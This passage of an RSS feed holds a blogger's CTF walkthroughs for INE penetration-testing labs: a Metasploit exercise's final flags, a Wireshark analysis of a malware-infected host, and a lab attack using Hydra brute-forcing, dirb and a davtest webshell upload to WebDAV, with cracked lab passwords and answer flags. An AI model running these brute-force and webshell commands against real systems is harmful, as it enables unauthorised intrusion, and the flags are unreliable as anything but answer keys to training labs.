src="https://cdn-images-1.medium.com/max/1024/1*uyJ5AG0vtlY1jGbJ3AerDg.png" /></figure><p>It looks like we’re getting great results here. We can find <strong>flag4.txt</strong> and <strong>EscaltePrivilageToGetThisFlag.txt</strong> The second one looks interesting. Let’s cat. Type ‘<strong>cd c:\\Windows\\System32\\drivers\\etc</strong>’ then cat the content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*DR-L-XGS7O1VLT4vxlyEVQ.png" /></figure><p>I’ve tried Q3 answer with this flag and it works.</p><pre>flag3_7b391db3ff0b41c0ae1149b02bf77e29</pre><h4>Q4. Investigate the Administrator directory to find the fourth flag.</h4><p>From the previous task we know where the last flag is. Type ‘<strong>cd :\\Documents\ and\ Settings\\Administrator\\Desktop</strong>’ then cat the contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*h0ySsvEtib1DV91iTGi70w.png" /></figure><pre>flag4_63f46641f5514eddaab3c3fafe850901</pre><p>Well done. :)</p><p>We learned some tricks from this CTF. First, if we didn’t know that MSSQL was running version 2012, after we searched in Metasploit for ‘mssql’ only, we would get big results. So don’t skip this step and collect as much information as possible. Secondly, we learned how to use some commands in meterpreter like getuid, getsystem, search which are very efficient as you can see.</p><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a95176552a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE-Host & Network Penetration Testing: Network-Based Attacks CTF 1 by Singkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-host-network-penetration-testing-network-based-attacks-ctf-1-by-singkhon-b4e8f8b79f55?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4e8f8b79f55</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Wed, 18 Feb 2026 22:13:45 GMT</pubDate>
            <atom:updated>2026-02-23T01:30:30.401Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</blockquote><p>Let’s get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*awiydNClWbH5fMkBjCFO4w.png" /></figure><h4>Q1. What is the domain name(abcd.site) accessed by the infected user that returned a 200 OK response code?</h4><p>This CTF we will work on <strong>Wireshark</strong> tool. First open the <strong>test.pcap</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9UZmORH2Iyc8Bm3IJmtjJw.png" /></figure><p>From the question, we know the package has the code 200, so we can use this code as a filter. Type ‘<strong>http.response.code == 200</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pn3Mor40EZz-1CoMAkKhVw.png" /></figure><p>Now wee see the results have only two. Both of them have same domain which is <strong>623.site</strong>. (<strong>Hypertext Transfer Protocol &gt; Request URL</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dsXpa17vyX0doMD7tYUDEg.png" /></figure><p>Try using that as answer.<br>…It’s work</p><pre>Flag1_623start.site</pre><h4>Q2. What is the IP address, MAC address of the infected Windows client?</h4><p>The question asks for the <strong>IP address and MAC address</strong> of the infected Windows system. From the previous question, we know that the infected Windows system is the <strong>destinaiton</strong> (requesting DNS from the server), so we can find the destination’s MAC address and IP address from the packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hnxb5xLjlsUE1RvAK9XsYg.png" /></figure><p>So now we have the answer, which is <strong>10.7.10.47, 80:86:5b:ab:1e:c4</strong>.</p><pre>flag2_10.7.10.47, 80:86:5b:ab:1e:c4</pre><h4>Q3. Which Wireshark filter can you use to determine the victim’s hostname from NetBIOS Name Service traffic, and what is the detected hostname for this malware infection?</h4><p>First, we can use a filter to show only <strong>NetBIOS</strong> traffic by typing ‘<strong>nbns</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9IYLuH6h2Mhfeh0pZGv4zQ.png" /></figure><p>The result is that there are two computers: <strong>DESKTOP-9PEA63H</strong> and <strong>COOLWEATHERCOAT</strong>. From the image, we can analyze that the most frequently appearing hostname likely comes from the request (<strong>DESKTOP-9PEA63H</strong>), and the other hostnames come from the response.</p><p>Therefore, the correct answer is <strong>nbns, DESKTOP-9PEA63H</strong>.</p><pre>flag3_nbns, DESKTOP-9PEA63H</pre><h4>Q4. Which user got infected and ran the mystery_file.ps1 PowerShell script?</h4><p>We need to use a filter to find <strong>mystery_file.ps1</strong>.<br>First, press ‘<strong>Ctrl+F</strong>’, then change ‘<strong>Display Filter</strong>’ to ‘<strong>String</strong>’ and ‘<strong>Packet list</strong>’ to ‘<strong>Packet bytes</strong>’.<br>After that, type ‘<strong>mystery_file.ps1</strong>’ and press the search button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*apJivOtdSCO9ijBXXmFigg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xWiDxNRvr0cL7kVrK70Lbg.png" /></figure><p>The packet will then be displayed. To view the information more clearly, <strong>right-click the packet &gt; Copy &gt; … as printable text</strong>, and paste it into Notepad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2TrxufnlQYgiUQY6okqhQg.png" /></figure><p>After reviewing the information, we determined that the affected user is <strong>rwalters</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*MEPMOgKolDXPuDqFnCYB1Q.png" /></figure><pre>flag4_rwalters</pre><h4>Q5. What User-Agent string indicates the traffic generated by a PowerShell script?</h4><p>So we need to apply filter to find powershell. First, change filter to <strong>Packet details</strong> and type ‘<strong>Powershell</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hEDSOXuHidxb2bInBLexmg.png" /></figure><p>We can then examine the packet information and find the <strong>User Agent </strong>(<strong>Hypertext Transfer Protocol &gt; User-Agent</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U2cyK7_wxyaOJviTjV3uoA.png" /></figure><pre>flag5_WindowsPowerShell</pre><h4>Q6. Which wallet extension ID is associated with the Coinbase wallet?</h4><p>This will be easier if we know how to search. So let’s search for ‘<strong>Coinbase</strong>’ using <strong>packet bytes</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESMliz4k3eSslZUtx2X7hw.png" /></figure><p>After reviewing the results, <strong>right-click the packet &gt; Follow &gt; TCP Stream</strong>.<br>Then use the search option below to find <strong>coinbase</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*VpWVQL5h_oOo_m6pZ9flrg.png" /></figure><p>Success! We’ve finally got the last flag.</p><pre>flag5_hnfanknocfeofbddgcijnmhnfnkdnaad</pre><p>This CTF uses a different flag format, which might take some time to understand at first. We also learned basic <strong>Wireshark</strong> tools such as how to find, how to read packets, and how to use filters. For more information on basic display filters, you can visit the following website: <a href="https://wiki.wireshark.org/DisplayFilters"><strong>https://wiki.wireshark.org/DisplayFilters</strong></a></p><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4e8f8b79f55" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE-Host & Network Penetration Testing: System-Host Based Attacks CTF 1 by Singkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-host-network-penetration-testing-system-host-based-attacks-ctf-1-9e34c976c78c?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e34c976c78c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Tue, 17 Feb 2026 23:44:54 GMT</pubDate>
            <atom:updated>2026-02-18T00:11:23.259Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Ew854QN_MiOGThXkVFCyA.png" /></figure><p><strong>Q1. User ‘bob’ might not have chosen a strong password. Try common passwords. (target1.ine.local)</strong></p><p>From this step, we know we need to perform a brute force attack using bob, but what about using it on a service? First, as always, let’s scan target1 on <strong>Nmap</strong>. Type ‘nmap -sV -O target1.ine.local’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*KVSX10eyjRetPJm8eIla3w.png" /></figure><p>As we can see there are few services opened. Let’s check the <strong>http</strong> first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tk4BI7nY49KNfxMNIic55g.png" /></figure><p>There’s a login form for access. This might be the form where we can use Bob’s credentials, so let’s try using the <strong>Hydra</strong> tool in a brute force attack. Type ‘<strong>hydra -l bob -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local http-get</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xwnU1Z2yzfctNN5XHh6L7A.png" /></figure><p>We found the password which is <strong>bob/password_123321</strong>. Let’s see what’s inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnS-pXfNrPQhtb9m1rlOyw.png" /></figure><p>After logging in, the system displays IIS Windows Server. Therefore, try using the <strong>Dirb</strong> tool to find hidden paths. Type ‘<strong>dirb </strong><a href="http://target1.ine.local/"><strong>http://target1.ine.local</strong></a><strong> -u bob:password_123321</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*Di1RejSu2MCbghJqmC9mrw.png" /></figure><p>We found several directories, and after checking each one, we finally found the first flag in the directory <strong>/webdav/flag1.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*d91QBL5qWzbaBHcbi9sxFg.png" /></figure><pre>0f346568cfcc43df8f1c409a42da0814</pre><h4>Q2. Valuable files are often on the C: drive. Explore it thoroughly. (target1.ine.local)</h4><p>Our target now is the <strong>C: drive</strong>. We know target1 is using <strong>WebDAV</strong>, so let’s check what files we can upload to WebDAV. Type the command ‘<strong>davtest -url </strong><a href="http://target1.ine.local/webdav"><strong>http://target1.ine.local/webdav</strong></a><strong> -auth bob:password_123321</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*eMBiCsvfHZWkpOWXp2gcJg.png" /></figure><p>As we can see, the webdav accept most of the file extentions, but what is we interest are <strong>.txt, .asp, and .aspx</strong>. Now we can upload file to the webdav. Type the following command: ‘<strong>davtest -url </strong><a href="http://10.5.30.112/webdav"><strong>http://target1.ine.local/webdav</strong></a><strong> -auth bob:password_123321 -uploadfile /usr/share/webshells/asp/webshell.asp -uploadloc /</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8FkersrO_efmIUc9n41xg.png" /></figure><p>Upload successful. We can check the file now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*Or7UTBiesSubKtuCKvf7-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*QuYKVpMmeqSs3ktwp7FmZQ.png" /></figure><p>Now that we have the CMD shell, the next step is to find the flags on drive C:. <br>Type ‘<strong>type c:\\flag2.txt</strong>’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*6pMUXVNGIVuwjHnr9qVlFA.png" /></figure><pre>b297f3ee28d4425092deae2524abf227</pre><h4>Q3. SMB shares might contain hidden files. Check the available shares. (target2.ine.local)</h4><p>Now we can move on to target2. Our goal is <strong>SMB</strong> services, but first, let’s perform a scan with <strong>Nmap</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*AjG-9tzKj_iCFEwf3Ckgww.png" /></figure><p>Let’s check available shares with anonymous credential first. Type ‘<strong>smbclient -L //target2.ine.local -N</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*SJwBSiV5MEqmR-MHq-FbZg.png" /></figure><p>It seems that using anonymous credentials won’t work here, so let’s try a brute force attack to guess the credentials with <strong>Hydra</strong>. Type the command ‘<strong>hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt smb://target2.ine.local</strong>’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U2gQ51RTWZMpyu40-GodXA.png" /></figure><p>Here we have a few credentials, the most interesting of which is the administrator account. Now let’s list the shares using the administrator account. Type ‘<strong>smbclient -L //targetw.ine.local -U administrator</strong>’ and then type ‘<strong>pineapple</strong>’ for the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*2nW0NpJ7ONRU3bkknT8C0A.png" /></figure><p>There are several shared files. Now we can examine each one. Finally, we find flag3 in <strong>C$</strong>. Type ‘<strong>smbclient //target2.ine.local/C$ -U administrator</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*B5jWroHB2R99OGeMYrjXNg.png" /></figure><p>We can type ‘<strong>get flag3.txt</strong>’ to download the flags and use the ‘<strong>cat</strong>’ command to display it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*rw64D0YQ7g1CzX_Ho_ll6A.png" /></figure><pre>bef739fe0ccc4330800ba2058f1fd4ab</pre><h4>Q4. The Desktop directory might have what you’re looking for. Enumerate its contents. (target2.ine.local)</h4><p>Our target directory is the Desktop, so we can use the smb service and navigate to the <strong>Users\Administrator\Desktop\</strong> folder. Now we should see the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EqmiWUt0IDNDaY8ZfyhOzQ.png" /></figure><pre>b2640cb7c37a4c96b08af73f03b71459</pre><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e34c976c78c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>